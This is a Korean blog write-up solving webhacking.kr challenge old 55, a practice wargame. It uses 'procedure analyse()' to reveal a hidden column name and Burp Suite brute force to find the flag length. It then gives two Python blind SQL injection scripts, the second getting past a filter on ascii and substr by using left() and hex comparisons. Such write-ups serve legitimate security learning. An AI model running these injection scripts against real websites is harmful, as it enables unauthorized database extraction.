본문 바로가기

웹해킹/webhacking.kr

webhacking.kr old 55번 문제풀이(Writeup)

반응형

webhacking.kr old 55번 문제풀이(Writeup)

old 55번 문제풀이 1

문제를 들어가면 위와 같이 출력된다.  rank를 누르니 많은 분들의 점수가 나오기도 한다.

 

 

old 55번 문제풀이 2

rank 페이지에 마지막 부분을 보니 쿼리문이 나와있다. 3번째 컬럼이 flag라는 것을 알았다. 하지만 컬럼명을 모르기 때문에 저번 문제에서 사용했던  procedure analyse() 함수와 limit를 사용해보자.

 

limit 0, 1 procedure analyse() 를 하면 0번째 컬럼이 출력될 것이다. 그러니 limit 2, 1 procedure analyse() 로 입력해보자.

 

 

 

old 55번 문제풀이 3

입력해보니 컬럼명이 p4ssw0rd_1123581321이라고 나온다. 이제 flag의 길이부터 찾아보자. 

 

 

 

old 55번 문제풀이 4

Burp Suite에서 패킷 캡처 후 Interlude에서 numbers 옵션으로 1~50까지 Brute force를 진행했다.

 

 

old 55번 문제풀이 5

31에서 다른 값이 나온다. flag의 길이는 31인 것 같다. 이제는 Blind SQL Injection 스크립트를 작성해보고자 한다.

 

import requests
URL = "https://webhacking.kr/challenge/web-31/rank.php?score=1"
cookie = {"PHPSESSID":"abcdefg1234"}

flag=''
for i in range(1,32):
    for j in range(33,133):
        param = "1%20and%20ascii(substr(p4ssw0rd_1123581321,{0},1))={1}%23".format(i,j)
        r = requests.get(URL+param, cookies=cookie)
        print(j)
        if "Piterpan " in r.text:
            flag += chr(j)
            print(flag)
            break

위와 같이 스크립트를 작성했는데 아무리 돌려도 잡히지가 않았다. 

 

 

old 55번 문제풀이 6

확인을 해보니 substr과 ascii가 필터링되고 있었다. 따라서 ascii는 검색해보니 ord, hex로 우회하고, substr은 left, right 등으로 우회를 한다고 해서 다시 스크립트를 작성했다.

 

import requests
URL = "https://webhacking.kr/challenge/web-31/rank.php?score=1%20and%20"
cookie = {"PHPSESSID":"abcdefg1234"}

flag_From="0x66"
flag="F"

for i in range(2,32):
    for j in range(33, 127):
    	param="left(p4ssw0rd_1123581321,"+str(i)+")="+flag_From+format(j,'x')
        param=requests.get(URL+param,cookies=cookie)
        if("Piterpan " in param.text):
            flag_From += format(j,'x')
            flag += chr(j)
            print(flag)           
            break
print(flag)

위와 같이 스크립트를 작성했다.  스크립트를 작성할 때 정말 시행착오가 많았다. 

 

FLAG가 출력되었다. "FLAG{"다음으로는 소문자로 입력하면 된다.

728x90